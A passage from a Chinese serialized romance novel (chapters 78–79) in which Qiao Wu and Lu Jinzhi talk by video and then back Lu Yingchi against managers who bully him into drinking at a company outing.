他把猫只叫做猫,呜呜这个名字像是开启了他的某个关窍,成为了他对她的专属称呼。 只有两人能听懂。 声音从听筒里传出来,在安静的环境里显得更加清晰,乔梧觉得自己才喝下的酒意都冒了上来,她移开跟陆尽之对视的视线去看猫:“陆柠知道你说得那么冠冕堂皇,其实打的是这个主意吗?” “你不是不让说?” 明明好好的一件事能被他说出两种意思来,乔梧没好气瞪他一眼:“你该去教陆柠语文。” “挺耗神的。”陆尽之如实道。 看她耳根泛红,他眸色深了些,问:“还没结束?” “快了,没什么事,一会儿就上去直接回房间了。”乔梧被盯得耳朵发烫,不自觉揉了揉耳朵,又补充道,“今天是真平安。” 陆尽之笑起来:“不是来确认你的平安的。” “那是什么?” 陆尽之的手在小猫的脑袋上揉了揉,宽厚的大手将猫崽的脑袋完全盖住,可他却微微屈指,指尖在猫崽的耳朵上轻轻揉捏。 他轻声说:“是想见呜呜的借口。” 乔梧只觉得他黑眸凝结的视线比身上散不开的酒气还要缠人,赶紧转移话题:“郭力言跟我说,他家最近挺不太平,是不是你干的?” 陆尽之神色淡淡,沉默代表默认,他不愿提这家人,也不用他动手,简单几句话的事。 “怎么不跟我说?” “没必要。” 一般情况陆尽之不会把注意力放在郭力言那家人身上的,那天他等在停车场,应该是听见了什么。 但他不会为了郭力言出手,那就只能是她了。 “我没把他们当回事。”乔梧说,“这件事那天我就已经处理好了,你不用……” 知道她要说什么,陆尽之第一次打断了她说话:“没有要牵着你。” 乔梧:“嗯?” “知道你能处理好,用不到我。”陆尽之放开小猫,敛起几分正经的神色,“可是呜呜,你言而无信。” 乔梧懵逼:“我?” 言而无信? 她没答应陆尽之什么吧? “你说要一起朝前走。”陆尽之看着她,“但又总是自己一个人。” 乔梧愣住。 “你说陆家是艘巨轮,不能只有发动机,还需要船长副手引水员,那你呢?” 他往前坐了些,离镜头更近:“你不能以为自己开着快艇,就一个人走了。” 微醺的酒意好像变得越发上头,乔梧脑子有些没太转得动,只是安静地看着镜头里的人,发不出声音。 陆尽之在那头,暖橘调的光映在他脸上,给他更添了几分说不出来的诱导意味。 他偏了偏头:“我以为一起走的意思是,可以相互扶持,而不是一个人顶一片天挡一阵风雨。” “我一直认可你的能力,也不会对你的工作多加干涉。”他很温柔的停顿了片刻,又说,“但呜呜,你说过你不是无所不能。” 这件事他原本只觉得是一件小事,所以没有必要说出来,也不会再提起。 他从来不认为,放手让她成为鲲鹏和跟她一起面对风雨是一件冲突的事。 可乔梧总是习惯性的把她自己归为一个人,做任何事情都要自己先扛下来,唯一一次示弱是那天生死关头 下来,害怕得说不出话的时候。 陆尽之就觉得,有些事是不能放手的。 他隔着屏幕的视线有如实质落在乔梧脸上:“比起只有在委屈的时候你才需要我,我更希望你本不用害怕。” 片刻后,他浅浅笑道:“所以你总得容忍我偷偷关心你一下。” 乔梧觉得自己可能真的喝得有点多,因为听了这些话心里挺满满涨涨的,还想起了在港区医院里,陆尽之气急后又给了她的那个沉默的拥抱。 她从来没提起过她的需要,可现在一直有人记得要给她。 一直以来她觉得自己目标是很明确的,要保护谁要做什么要往什么方向发展,都规划得清清楚楚明明白白,可现在却觉得好像也不是。 她走得太高了,也走得很远。 在这一刻,她好像忽然明白了陆尽之以前的处境。 因为与常人不同,所以有些感受没有办法对外人告知,只能自己担着。 但如果有人能理解,那的确是一件让人很开心的事。 “谢……”想到陆尽之不喜欢她说谢谢,她笑了笑,“陆尽之,晚安。” 看她听进去了,陆尽之也展颜轻笑:“晚安。” 挂掉视频,乔梧轻轻搭着扶手靠在墙上,吐出很长的一口气。 缓好情绪后,她刚准备回去,忽然听到一个熟悉的名字。 “陆应池你没事吧!” “这边这边!厕所在这边!” 乔梧轻轻拧眉。 陆应池期末考试比陆柠结束得要早,他们的职业规划大赛校赛已经结束,下一次就是去参加省赛,这次校赛给他们的奖励是可以得到去其中一个公司两个星期学习的机会。 几个大一新生,就算要创业也没有任何经验,只能靠这些方式来积攒,也是为了下一步的省赛做准备。 恰逢周末,他今天说公司有团建,所以周末也不回家。 是来这儿了? 她才绕过墙柱,眼前就刮过去一阵风,叶梁扶着陆应池匆匆奔去洗手间,带着很浓的酒味。 后面有个人紧紧跟着。 乔梧拦住了费景明:“陆应池怎么了?” “姐?!”费景明先是惊讶,又飞快解释,“陆应池被几个公司的前辈灌了很多酒。” 原本他们以为拿了校赛的奖得到学习机会是一件让人很高兴的事情,可没想到来了以后才发现公司这些人根本就瞧不上他们。 他们学校只是个普通本一,现在每年本科毕业生一抓一大把,更别提他们这种才是大一、毫无经验的人。 那些前辈觉得他们只是靠着写得天花乱坠的理论得到名次的人,所以一直把他们当做临时工使唤做些端茶倒水的活儿。 尤其是陆应池。 陆应池长得又高又帅,还是个年轻的男大学生,举手投足穿衣风格都透着股我很有钱的做派。 所以一进公司就很受女同事欢迎,这就招来了另外那些前辈的眼红,对陆应池很苛刻。 今天说着来团建,实则就是欺负几个新人,怼着陆应池一个人灌。 “他还一声不吭全给喝下去了。”费景明简单解释几句,还有点担心,“叶梁带他去吐呢,姐你等会儿,我先去看看他。” 他话音才落才转身走了几步,后面就传来一个男人的声音:“费景明!” “欸!”费景明立刻回头,“王经理。” 那个所谓的王经理走上前,脸上带着很浓的不耐的意味:“陆应池呢?” 费景明:“他喝多了,在厕所。” 王经理挺着个大肚子,冷笑:“你们年轻人一点城府都没有,也不懂事儿。” 他拍了拍费景明的肩膀:“别说哥没提醒你,一会儿主动去把账结了,以后对你们有好处。” 费景明微微瞪大眼睛。 这么多人来团建,来这么高级的地方,让他们结账? 谁的钱都不是大风刮来的,他们还靠家里的生活费吃饭呢! “那个陆应池,他不是很有钱?”王经理说,“你看他的一件衣服好几万呢。” 那还真是没钱。 费景明心道,陆应池最近零花钱被管得很严他们是知道的,好几次都是坐地铁来学校,也不知道他们家是个什么样的管理模式。 他下意识往乔梧那边看了眼。 乔梧没说话,依旧站在墙柱后面。 “赶紧的啊。”王经理说完后就笑着回去了。 而这时已经吐完的陆应池在叶梁的搀扶下也回来了,陆应池走得还算稳,应该是吐完清醒了点儿,还洗了把脸,额前的头发都被打湿了,垂着眸在数地板。 “哥,咱不喝了。”叶梁跟他说,“一会儿回去你就趴下,我就说你不省人事,没关系的。” “那你们不得喝?”陆应池声音带着戾气,“你别管了,几个老不死的,看谁喝死谁。” “哥……”叶梁话音微顿,随即惊诧地叫出声,“姐?!” “什么姐,老子说那几个秃头!” “陆应池,你姐来了!” “我没有姐!”陆应池被晃悠得头疼,不耐地抬起头,有些迷茫的视线却忽然定在了那个白色的身影上。 他脚步骤然停下,撒开手揉了揉脸,“你看到乔梧了吗?我是不是喝出幻觉来了。” 叶梁:“……我比你先看见的。” “完蛋。”陆应池说完后迟疑了一秒,然后转身撒腿就跑。 叶梁:“???” 跑出去几步的陆应池听到身后乔梧平静地喊了他的名字,顿时跑得更快了。 但他今天喝得实在是多,没一会儿就不知道绊到什么,整个人都摔在酒店地板上,磕得膝盖发疼。 他还没爬起来就听到高跟鞋的声音在头顶停下,熟悉的味道涌入鼻尖,乔梧在他面前蹲下,要去扶他:“跑什么?” 陆应池也顾不上疼了,索性躲开她的手把脑袋埋在手肘里:“你认错人了。” 乔梧:“……” 她被逗笑:“是么,本来我是来接陆应池去旅行的,但认错人就算了。” 说完就要站起身。 可没等她真的动作,那个大脑袋又抬了起来,语气带着几分酒后的迟钝:“旅行?” 乔梧没说话,轻轻挑眉看着他。 “那我是陆应池。”陆应池闷声说。 费景明和叶梁面面相觑,没搞明白这是怎么回事。 乔梧:“那陆应池能起来了吗?” “…嗯。” 陆应池慢吞吞爬起来,比起在乔梧面前丢人,这点疼对他来说也算不得什么。 乔梧看了眼他的膝盖,碰了碰:“摔到没有?” “没有。”陆应池笔直地站着,不知道自己是不是喝多了,思维都变得很僵硬,他看着乔梧直起身子,看到那张一个星期都没看到的脸,有点愣怔。 “我……”他干涩的嗓子发着痒,但又不得不给自己找个借口,“我身边有人,所以……” 所以才喝了这么多。 不是一个人喝,也不会发酒疯乱来。 他试着问:“你不生气吧?” 乔梧没回答他的话,而是对费景明和叶梁道:“你们先回去,我一会儿带他过来。” 又说:“都别喝酒了。” 刚才那些话乔梧都是听见了的,所以费景明不太同意她过去:“姐,你也去啊?” 乔梧笑道:“不是说让你们买单么,我不来你们准备怎么买,把陆应池扒了?” 别说,陆应池这臭小子还真做得出来。 乔梧没想到他说的争气是这种争气,每晚报平安的时候也是一声不吭,还能若无其事地问陆柠期末准备怎么样,别给他丢人。 “去吧,别喝酒了,我一会儿就来。” 两人很听话,赶紧跑回去。 等走廊只剩下乔梧和陆应池,她才拉着陆应池在旁边坐下,确定他的膝盖真的没事后才说:“怎么不跟家里人说?” 陆应池没吭声。 他自己说的要出来吃苦创业,结果这才第一个星期,就因为这点小事回去告状,那他还要不要脸了。 “你别去。”他说。 乔梧问:“那你准备怎么办? ” 陆应池脸上多了几分狠厉:“谁把谁喝死。” 想到身边坐着谁,他又立刻垂下脑袋:“不是我先找的事儿,明显奔着我来的。” 的确很符合他一贯的思维方式,乔梧失笑:“你来这个公司的目的是什么?” “学习。” “学到什么了?”乔梧指着他的膝盖,“怎么把人喝死?” “……”陆应池一下子就泄了气,“你生气了。” 所以他才没跟乔梧说自己今天出来喝酒了,有奖励是有惩罚的,要是他做得不好,乔梧就不要他了。 看到乔梧出现的时候他才会那么慌。 乔梧很轻地嗯了一声。 陆应池想要辩解,却又无法辩解,抓了把头发不知道要怎么办,好半天才干巴巴地说:“那我不喝了。” “不是喝酒。”乔梧理了理他那乱糟糟的头发,“是你在外面经历的这些都没有告诉家里人。” “那怎么能说,还有没有出息了。”陆应池抬起头,脑袋撞了她的手一下,他又缩回去,“我自己能解决。” 这一刻乔梧忽然就懂了陆尽之跟她说的那些话是什么意思。 她认可陆应池出去闯荡这件事,却不认为他就理所应当自己去处理自己去吃一些没必要的苦。 显然陆应池今天的确可以跟那些人喝到胃出血,也的确可以把自己身上值钱的东西拿出来抵这顿饭钱或者是其他方法,但明显没必要。 “学习不是这么学的。” 陆应池弯着腰,双手撑在膝盖上,很唾弃没本事的自己。 还以为拿到第一名是一件很神气的事情,结果没想到现在会是这么个狼狈的情况,还被看见了。 他连这点小事都做不好。 见他都要把自己缩成一团了,乔梧轻笑:“你觉得我很厉害吗?” “嗯。” 超级厉害。 “你二哥厉害吗?” “……”陆应池十分不情愿,“他很有钱。” “那你看你哥有经历过你这些吗?” 没有。 但陆尽之还有脑子。 也只有脑子了。 “不管是你二哥还是我,我们走到今天除了自身的原因也还有家里给的资源底气。”乔梧温声说,“你想要自己出来体验可以,但首先你得知道利用自己所有的东西,而不是一个劲的吃苦受罪走那些弯路,你要学习的是从基层做起的那些人的工作流程和能力,而不是去体验这些乱七八糟的职场霸凌,难道你以后要成为那样的老板?” 陆应池不愿意了:“不许给我强加莫须有的罪名。” “那不就得了。”乔梧轻轻拍了拍他的背,让他直起腰来,“所以告状不是没出息,是你给目前的困境找到的最便捷的出路,如果能通过这条路让你更快的找到学习经验的方法,而不是在这儿浪费没必要的时间,那为什么不用呢?” 乔梧不希望他走到自己逻辑的死胡同里。 学习和成长是让自己变得更优秀的过程,而不是让原本那只桀骜的大狗缩在这里,受了委屈也不敢说话,把自己喝成这样还只敢转身逃跑。 当初给陆柠撑腰时那么自信的人怎么能变得这么可怜。 可喝蒙了的陆应池大脑在飞速旋转,有点懂了,又有点没懂。 只知道呆愣愣地看着乔梧。 乔梧给他换了一个浅显易懂地说法:“陆柠被人孤立的时候你是怎么做的?” 提到这个陆应池脸上就挂不住。 乔梧也不戳穿他,而是笑道:“你给她出头都行,怎么,我们给你出头你就是没出息了?” 这么说陆应池的脑子就转过来了。 他不是陆尽之,也不是乔梧,所以不是拿到权利就会用。 乔梧以前说他生来就在罗马,可他知道自己一旦脱离了罗马这个圈,就会成为一个废物东西。 所以他想去看看其他人是怎么走到罗马的,至少给他留一份底气。 可他并不知道,通往罗马的路上有很多人并不是为了到罗马,而是为了在路上使绊子,他在那些人身上浪费了很多时间,以至于走歪了路。 “别灰心,你还能走。”乔梧决定给他一根胡萝卜吊着,“知道国赛有什么机会吗?” “什么?” “基金会的实习offer。”她笑问,“想不想来我身边学习看看?” 基金会在陆氏旗下,对于大一大二的学生来说,陆氏这块香饽饽,哪怕只是在基金会公司学习,也是求之不得的机会。 离陆应池大学毕业还有好几年,在她身边学习一年两年,到时候他临近毕业跟同学们创业也算有足够的能力和资历了。 陆应池微微瞪大眼睛。 他可太想了,他从小就想追赶上她,这都要成他的心魔了。 看他两眼发光的样子,乔梧挑眉:“如果你拿到了国赛的一等奖,我会亲自给你发offer。” “真的?” “嗯,真的。” 陆应池直起腰,十分正式地点头:“那我想。” “想的话得努努力。” 乔梧站起身来,“现在要不要让我给你撑腰了?” “不用。”陆应池也站起来,伸了伸刚才摔到地上时磕到有些疼的膝盖,想到这一周来受的气就咬牙切齿。 他把自己的头发抓上去,然后十分嚣张地拿出手机点开陆尽之的聊天框。 噢对,他被陆尽之拉黑了。 靠。 “手机借我一下。” 乔梧不明所以,但还是解锁递给他。 然后就看到陆应池给她转了50块钱。 紧接着拿她的手机收了,又点开她跟陆尽之的聊天框。 他看到那几个置顶时没怎么在意,但点开跟乔梧跟陆尽之聊天框时却愣了一下。 这两人怎么全是视频记录? 但他现在来不及在意这些,很快就用乔梧的账号给陆尽之转了50块钱。 这是他辛辛苦苦坐地铁省下来的。 乔梧都来不及阻止,就听见陆应池用她的账号给陆尽之发了条语音,嚣张地说:“50块钱给你,我文明用猴。” 被猴欺压千日,用猴一时。 既然要用,他就要用那只猴的名字吓死那几个不要脸的秃头! 全程围观的乔梧:“……” 你是不打算回家了吗? 日子不过了? 陆应池把手机扔回她的怀里,气势汹汹扭头回去。 乔梧捧着手机深吸一口气。 不出十秒,她的手机就响起来了。 她不得不接起来。 没听到陆应池乱叫的声音,陆尽之就知道电话这边是谁。 “呜呜。”他语调淡淡,带着明知故问的疑问,“晚安?” 第79章 第七十九章互相的底线 乔梧接着电话往陆应池他们包间里走,无奈道:“本来是要回去的,但他遇到了点麻烦,我晚点再跟你说。” “不用。”陆尽之说,“把视频打开。” “什么?” “看看他是怎么文明用猴的。” “……” 乔梧挂断电话,打开视频前,看到陆尽之居然还真把那50块钱收了。 怎么说呢,放在这样一家人身上,她竟然也不觉得奇怪。 包厢的门没有关紧,她轻轻一推就开了,此时此刻的陆应池单手撑在椅背上站着,另一只手拿着空了的分酒器,而他那张椅子前面坐着一个……的确是个秃头的中年男人。 此时那个男人脑袋衣服上全是酒。 分酒器里的酒在哪看来很清晰明了了。 也不知道陆应池刚才说了些什么,整个包厢每个人的脸色现在都很精彩,惊疑不定的,愤怒的,害怕的。 乔梧又看了眼席面,果然是打定主意要让陆应池出钱,所以包的是大包厢,一共两桌满满当当坐了人,桌上那些菜也都不便宜,一眼扫过去还比林窕那几人的菜系都要贵,每桌还点了好几瓶酒。 见她进来,几个认识她的小朋友立刻规规矩矩站起来,齐刷刷地喊了声:“姐。” 又很殷勤地让开位置让乔梧坐下。 可乔梧没有在中间坐下,而是将椅子往后拉,坐在陆应池身后。 陆应池将分酒器往桌上一扔,满桌的佳肴乒乓作响,他回头:“都说你不用来了。” “闲着也是闲着。”乔梧示意他继续。 而余下发呆的人都很懵逼,什么时候又冒出来一个姐了? 怎么还跟陆应池认识呢,这到底是谁的姐?! 虽然看起来跟这群大学生差不多大,但后面进来的这个人明显比没有城府的几个大学生要沉稳得多,气场也很强,显然不是一般人。 刚才那个大肚子的王经理顿时站起来:“您是?” “我是陆应池的姐姐。”乔梧笑道,“刚才正好听说您让他买单,很不巧,我家对他的零用钱管得比较严,他身上没什么钱,所以我来给他结账,招待不周,你们继续。” 简单几句话让所有人微微变了脸色。 他们是起心让陆应池来结账欺负他 没错,毕竟这世界上有钱人其实不少,但有钱人跟有钱人之间是有壁的,不是穿点奢侈品就是真正的有钱人了。 陆应池之前那么忍气吞声,他们就觉得他只是个普通有钱人家没吃过什么亏的小孩,所以才会越来越变本加厉。 但没想到,去吐了一次的陆应池回来时一脚踢开了包间里的大门。 把当时正在让陈彩文喝酒的一个经理直接连人带椅子拖到他面前,说:“来,老子陪你喝。” 然后把分酒器里所有的酒全倒在那个经理头上了。 还没等人发作,又进来这个年轻女人,看这架势显然是来给陆应池出头的。 “你是他姐是吧?”那个被泼了酒的经理有些上头,看来人年轻也没多放在心上,怒气腾腾地说,“你看看你弟弟干的好事!这是他一个来学习的人的态度吗!他没这个资格了,你今天就把他带回家!” 说完就要站起来。 可硬是被陆应池给按在那动也动不得。 “陆应池!”那个经理愤怒地说,“我是你上司!” “老子是你爹。”陆应池抽了他的光头一下,“怎么跟她说话呢?我都不敢凶她半句,你算什么东西。” 王经理目瞪口呆地看着他:“陆应池你疯了?” 是不是喝了酒耍酒疯了来着。 他站起来想要去拉陆应池。 但陆应池一脚踹在椅背上,直接将他面前那个经理人抵在桌面。 他长得高,本来脾气就容易点爆不是个善茬,现在得了圣旨就更加嚣张了:“谁敢动试试。” 扫着他的表情,这下愣是没有一个人真的敢动。 一个个面面相觑。 “我忍你们很久了。”陆应池拿起一瓶开过的酒,砰的一声砸在桌上,“既然想喝,今天都全给我喝了,谁不喝我就让人给你们灌进去。” 然后低头看着眼前的人,单手抬起来他的下巴,像当初乔梧灌他那样直接给人堵在嘴里:“倚老卖老,仗势欺人,小爷叛逆那几年你还不知道在哪呢,跟我横?” 费景明几人乖乖巧巧缩在乔梧身边,跟保镖似的,见状都有点吓到了。 小声问:“姐,没事吗?” “没事。”乔梧正在调整镜头对准陆应池,方便陆尽之看得更清楚,“比我收拾他的时候要轻点儿。” 其余几人:“……” 说实话,他们认识陆应池以来没太看到陆应池真的发过什么火,他看起来不太有富家少爷的架子,就是单纯容易炸毛。 哪怕是之前去秋游或者被那个富二代挑衅,他都该报警报警,整个人都散发着正道的光。 但今天这种场合,说实话报警真的没人会理你。 而现在,显然想报警的是其他人。 现在大家才发现,陆应池在他们面前真的已经收敛很多了,虽然容易炸毛,但还是挺有担当的,今天所有的酒基本都被他一个人喝。 连那个被灌酒的经理都是因为想欺负陈彩文。 要是这种纨绔是对外的,那还真挺爽的。 原来是跟乔梧学的。 几人都不敢想,乔梧这种人怎么会做出那样的事来,会是什么样? 他们偷偷看着乔梧的反应,然后看到了乔梧手机上正在接通的视频,上面的人化成灰他们都认识,上次在陆宅从他们面前把乔梧带走的陆尽之。 靠。 陆应池,你哥来了! 陆应池还在持续输出:“想让我买单?可惜我的卡都被我哥给冻结了,想要我出钱可以,你们给他打电话,来来来,手机拿出来我给你拨。” 费景明试图提醒:“陆应池,你哥在……” 在这儿! “嗯。”陆应池更加嚣张,“但是他那人规矩多,很讨厌没有礼貌的人,所以你们跟他说话至少得知道他是谁。” 他低下头,拍拍那个被吓得脸色惨白的经理的脸:“陆尽之,听过没?” 陆尽之三个字一出来,那些暗戳戳准备报警的人顿时就吓得手机都拿不稳了。 陆、陆尽之? 他们公司并不算大,自然是接触不到那种阶层的人,不认识陆应池但却不会不认识陆尽之。 这个名字就算是不怎么看财经频道的人都能熟记于心。 见这些人变得空洞害怕的表情,陆应池轻嗤:“现在知道老子跟谁一个姓了没?” “陆……”王经理战战兢兢,他都不敢再喊陆应池了,甚至怀疑是自己喝多听错了:“陆尽之是你哥?” 这种人陆应池真的见得太多了,他把自己手机扔到桌上:“你但凡再长点脑子,让我给你端茶送水的时候上网查一查我的名字呢。” 他虽然在学校,过去也不怎么跟陆尽之同框。 但从陆江下来,他家好几代的名字和关系一查就能知道。 只是有些人眼界浅,只看自己想看的。 陆应池这话一出,大家自然没敢去碰他的手机,而是手忙脚乱地拿出手机去查。 关联点进去就能清楚地看到陆家的关系图——陆家老四,陆应池。 真是要了命了。 你一个豪门的小儿子,为什么要来这种鸟不拉屎的破公司学习,你家那上市集团是容不下你了吗! “**少爷。”王经理立刻换了一副脸色,“是我们有眼不识泰山,您大人不记小人过……” 陆应池不耐地打断他:“闭上。” 他最讨厌听这些人道歉了。 他没有真的把酒灌进那个经理的嘴里,只是在他嘴里塞了酒瓶而已。 要是一会儿灌出什么毛病来,那他这次考核肯定不及格。 所以他将酒瓶拿出来,问:“让我结账是吧?” “不不不!”那个经理含泪疯狂摇头,“我们结,就当我们给您接风洗尘了!” 裤衩子卖了都给他结! “行。”陆应池勾来一张椅子坐下,翘起二郎腿,“也别浪费,喝吧,谁今天直着走出去都算你们道歉心不诚。” 原本是为了狠狠宰陆应池一顿,所以全是名贵的酒。 现在要他们自己结账,一个个心如刀绞含泪把所有的酒都给灌到嘴里,感觉脑 子和**都要分离了。 受了这么久的气,陆应池终于爽了。 在人前嘚瑟完又去拉乔梧的衣摆,挑着眉:“怎么……” 话没说完,他就看到了乔梧手机上正在通话的视频。 靠。 合着你们视频记录是这么来的! 顾不上太多,想到刚才那些话全被陆尽之给听进去了,他就面红耳赤,那张嘴还不一定把他说成什么样。 “我给你转账了啊。”他嘴硬道,“也就用了一次。” 镜头里的陆尽之一直在看着对面。 这么久一来,乔梧每次工作都跟陆尽之是错开的,就算两人在一起讨论工作上的事,这个人也从来不会对她冷脸。 但刚才她只要低下眼来看,就能看到陆尽之在面对外人时是什么样的神态。 不会有多大的情绪变化,甚至看起来还有些漫不经心,却依旧透着一股睥睨一切的傲气。 她把镜头调回来,好让陆尽之跟陆应池能对上话。 陆应池几乎是瞬间就把自己的视线给挪开了。 这么多年以来他跟陆尽之就没坐下来好好说过一次话,也从来没想过说让陆尽之给他撑腰什么的。 通常情况都是说不到三句就不欢而散,并且陆尽之也很少愿意跟他说话。 更别提他真的叫陆尽之一声哥了。 所以他现在的确很不适应,也不知道要说什么。 乔梧也没出声,只是把镜头对准他俩,包厢里有些吵闹,她就点开了免提,饶有兴致地看着。 手机那头,陆尽之淡淡喊了声:“陆应池。” “干什么!”陆应池很少听到陆尽之这么正经的叫他名字,听得有点炸毛,“我真没钱了!” “距我睡觉时间还有十分钟。” 陆应池白他一眼:“怎么,我给你唱摇篮曲?” “那得加钱。”他仗着那点酒意倨傲地说,“我出场费比陆宣贵。” 陆尽之罕见没有嘲讽,也不想去共情傻狗的脑回路。 “所以你只有十分钟时间给我发这些人的信息。”他只是轻描淡写地说,“用你自己的手机。” 陆应池呆了一下。 还没等他反应过来,陆尽之又掀眸扫他一眼。 “另外。”陆尽之笑了下,“换算成时薪,今天乔梧的工资从你零花钱里扣。” “?”陆应池一把夺过手机,“陆尽之你瞧不起谁呢!” 乔梧还以为他是心疼自己的钱,没想到接下来就听到陆应池用比刚才收拾那些人还要愤怒的语气说:“你给我一天30块钱的零花钱,我就是爬去学校省下来也发不起她的工资!” 乔梧:“……” 没救了。 陆应池:“回答我!lookinmyeyes!我就算了,你不许给她30块!” 屏幕里的陆尽之安静了几秒,不愿再多看他一眼:“很难想象你是进化过的高级物种。” 陆应池皱眉:“他是不是又在骂我?” 乔梧看不下去了,把手机拿回来:“你还剩六分钟。” “他放屁。”陆应池一边说着一边去拿被自己扔在桌上的手机,“他不可能十分钟就睡着。” 乔梧看了屏幕里的人一眼,莫名有些理解了陆尽之的意思:“你哥的意思应该是,你只会出他的黑名单十分钟。” 陆应池:“……” “那个……”那些正在风卷残云喝酒的几个大肚秃头早就放低了声音,也听到了电话那头的男声,这会儿小心翼翼心惊胆战,“是陆总吗?我们可以说几句话吗?” 说是要他们的信息,这跟天凉王破有什么区别! 陆应池打字的表情一秒凶狠:“不可以!” “不知道看他要给钱?” 能跟陆尽之说上话,保住自己的工作,给钱有什么的! “我们可以给!” “不行。”陆应池是有底线的,朋友可以50块看一次,其他人不行,他冷哼,“自己去网上抱图看去,他有洁癖,看不得脏东西。” 几个经理急了。 又立刻把视线目标放在了那个说是来结账,但事实上来了以后就没出声一直在后面悠然坐着,被几个小孩团团围住的年轻女人。 陆应池他姐! 虽然搜出来的资料里没显示他有姐姐,但关系一定很好,还能跟陆尽之打电话。 他们也不管到底谁年纪大谁年纪小了,逮着人就喊:“陆小姐!陆姐!您跟陆总说一说,我们还上有老下有小,真的不能失去这份工作,我们知道错了,一定会好好教**少爷的!” 乔梧坐着姿势都没变一下:“我姓乔。” “乔小姐!” “不好意思。”乔梧耸耸肩,状似很无奈地笑着说,“我比陆尽之还护短。” 看着差不多了,她也无意在这儿继续纠缠下去,喊了陆应池一声:“要回家吗?” “你什么时候去旅游?” 陆应池现在有一点点清醒了,知道乔梧根本不可能来接他去旅游。 她做事一直都会把所有事情安排好,知道他还在外地学习就不会中途过来打断,再者如果真的要去旅游也是要等他学习结束,更何况她也不会来接他的,最多就给他买张机票让他自己飞过去。 不知道为什么,陆应池现在好像已经习惯了乔梧不会事无巨细地对待他,而且还觉得接受良好。 至少这也证明了她没有再把他当做一个需要实时看护的小孩了。 乔梧如实说:“一个星期后。” 果然。 陆应池为自己的神机妙算点了个赞。 “那我一个星期以后再回去。” 乔梧并没有很意外,也没有立刻接话,而是等他说完。 果不其然,就听到陆应池说:“浪费一个星期,什么都没看到。” 等陆尽之收拾了这几个人,公司那些人肯定不会再给他们穿小鞋了,他有预感后面这一个星期是能学到东西的。 “50块不能白花。” 乔梧看了眼手机界面,陆尽之还没挂,听到这话以后也没什么反应,应该是习惯了他的大逆不道,又或许是不想跟他一般见识。 “好。”乔梧点头,“那我让司机送你们回去。” 没有谁真的想要看那些人喝酒,陆应池十分小心眼地把所有的酒都给打开了,这样秃头们想退都退不了,这才心满意足地带着几个同学一起回他们住的酒店。 把人送走后乔梧才低下头,那个说着十分钟以后就要睡觉的人,此时还坐在镜头那边。 他把手机放在一边,此时正靠在床沿垂着眼在用备用机发消息,应该是在处理陆应池的事。 陆尽之不挂电话她一点都不意外,她也不怀疑如果她允许,陆尽之会跟她一直挂着视频到天亮。 她看了陆尽之好一会儿,依稀从他脸上看到了几分过去那个十多岁的少年模样。 当初陆尽之选择跟陆叔叔学习管理公司的时候,在想什么呢。 没再听到那边有其他人的声音,陆尽之手上动作稍缓,抬眸看向手机。 发现乔梧一直在看他,也不知道在想什么,应该是在走神。 他出声提醒:“外面冷。” 乔梧本来就是出来打个电话,临时又去了一趟其他包厢,所以没带外套。 听他说完才后知后觉有些冷了,她转身走回酒店,打趣道:“原来陆总加班的时薪是50,还挺值的。” 陆尽之弯了弯唇:“是很值,要试试么?” “试什么?” “我的所有私人时间都是你的。”陆尽之说,“只要50,要不要买一份?” “不用了。”乔梧懒懒道,“我的时薪比你贵。” 但她没有挂断电话还有一个原因。 陆尽之给她提供了一个新的思路,她问:“我再加一条家规怎么样?” 陆尽之暂且放下备用机:“你说。” “除开家里的一些大小事,把我的工资分开算。”乔梧从刚才就开始想了,“不包含陆叔叔,你们三兄弟和陆柠,我解决谁的事,那段时间的工资就由谁来发。” 她轻笑:“ 他们好像一直都很想证明自己。” 其实这些钱对几人来说都算不上什么,她也不是真的要那些钱,哪怕今天陆应池真的像敷衍陆尽之那样给她50块也可以,但这样会让他们身上多一些责任感,让他们知道自己是有价值的。 陆尽之的初心是让陆应池别总是做拖后腿的那个,做事前动点脑子别总麻烦谁,从他零花钱里扣工资是想让他长个教训。 现在他想了一下这件事的可行性,轻嗤:“他们只会想办法把你买走。” “我是那么容易买走的?”乔梧说,“他们其实现在变了很多了。” 陆尽之默了几秒,而后很轻地嗯了一声。 他很少会对家里这几条小狗表示行为上的认可。 有时候乔梧并不能很清晰地去了解每一个人心里都在想什么,但她忽然有些好奇。 陆尽之说过,有什么想知道的都可以问,所以她问了。 “陆尽之,你挺在意他们的吧?” 没想到她会问这个,陆尽之笑了下:“什么算在意?” “比如说关心他们。” 陆尽之直白道:“也不是很关心。” 对他而言,两个小脑没发育完全的弟弟和一个傻乎乎的侄女只是一个家人的概念,是他的责任之一。 如果他们听话一点,他会多说几句。 如果不听话,那就自己去一边玩,别妨碍他就行。 他很平静地说:“某种意义上,他们也有特权。” 乔梧问:“这就是你当初决定在大哥之后继承公司的原因吗?” 整个家里,乔梧只会喊已经过世的大哥一声哥。 陆尽之也不会对此有任何异议。 “嗯。” 乔梧明白了。 十五岁的时候陆尽之或许还没想好自己以后要做什么,对待家人也是平常的态度,他只是认为这是他该做的。 他什么都不用做,光是坐在那个位置,只要他不倒,陆家就能一直安稳下去。 所以她不在的那段时间,陆宣和陆应池可以随心所欲地去做任何他们要做的事情。 这是他们在陆尽之那里的特权。 但陆尽之活在自己的世界里太久了,小小年纪就一个人承担了太多东西,身边也没人可说,导致他性格在外人眼里变得古怪也无法沟通。 陆尽之只是聪明,在其他方面也有缺陷,甚至缺陷比其余的人都要大,没有人可以引导他的时候,他脑海里的天秤就会偏向理智而非感情。 所以陆家三兄弟的关系就一直很微妙。 事实上不仅是陆应池和陆宣,陆尽之也很好哄。 只要陆应池他们对他多展现出一点亲近和依赖,他就会平等地像今天这样,光明正大地给他们撑腰。 这也是独属于陆家人的特权。 可乔梧觉得,他们在无意识里都是挂念着对方的。 陆尽之明里暗里扣了他们那么多钱,骂过他们那么多次,他们在外面受不得一点委屈,可被陆尽之欺压这些年,回到家里也没真的要找陆尽之算账,明明都是娇气的小爷小姐,却也能忍气吞声拿着几十块钱每天骑那么远的自行车去搭地铁公交过日子。 他们再怎么胡闹,也从来没有把家里任何一个人拖进自己的漩涡里,也没有给任何人使过绊子。 就像陆宣和陆应池不会去撬陌生人的保险柜一样。 陆应池也不会转50块给秦敛,就觉得秦敛可以成为他的后盾了。 同样的,陆尽之这种明确知道自己和他人的价值的人,也不会因为陌生人的50块钱就让自己加班。 他会容忍别人叫他猴么? 对待彼此他们都有恃无恐。 乔梧看着他,忽而笑道:“你们是互相的底线。” 陆尽之也笑。 他并不否认,家人在他这里从来都不是一个贬义词。 但他还是纠正她:“是我们。” “呜呜,你也是我的底线。” 第80章 第八十章我非她不可了 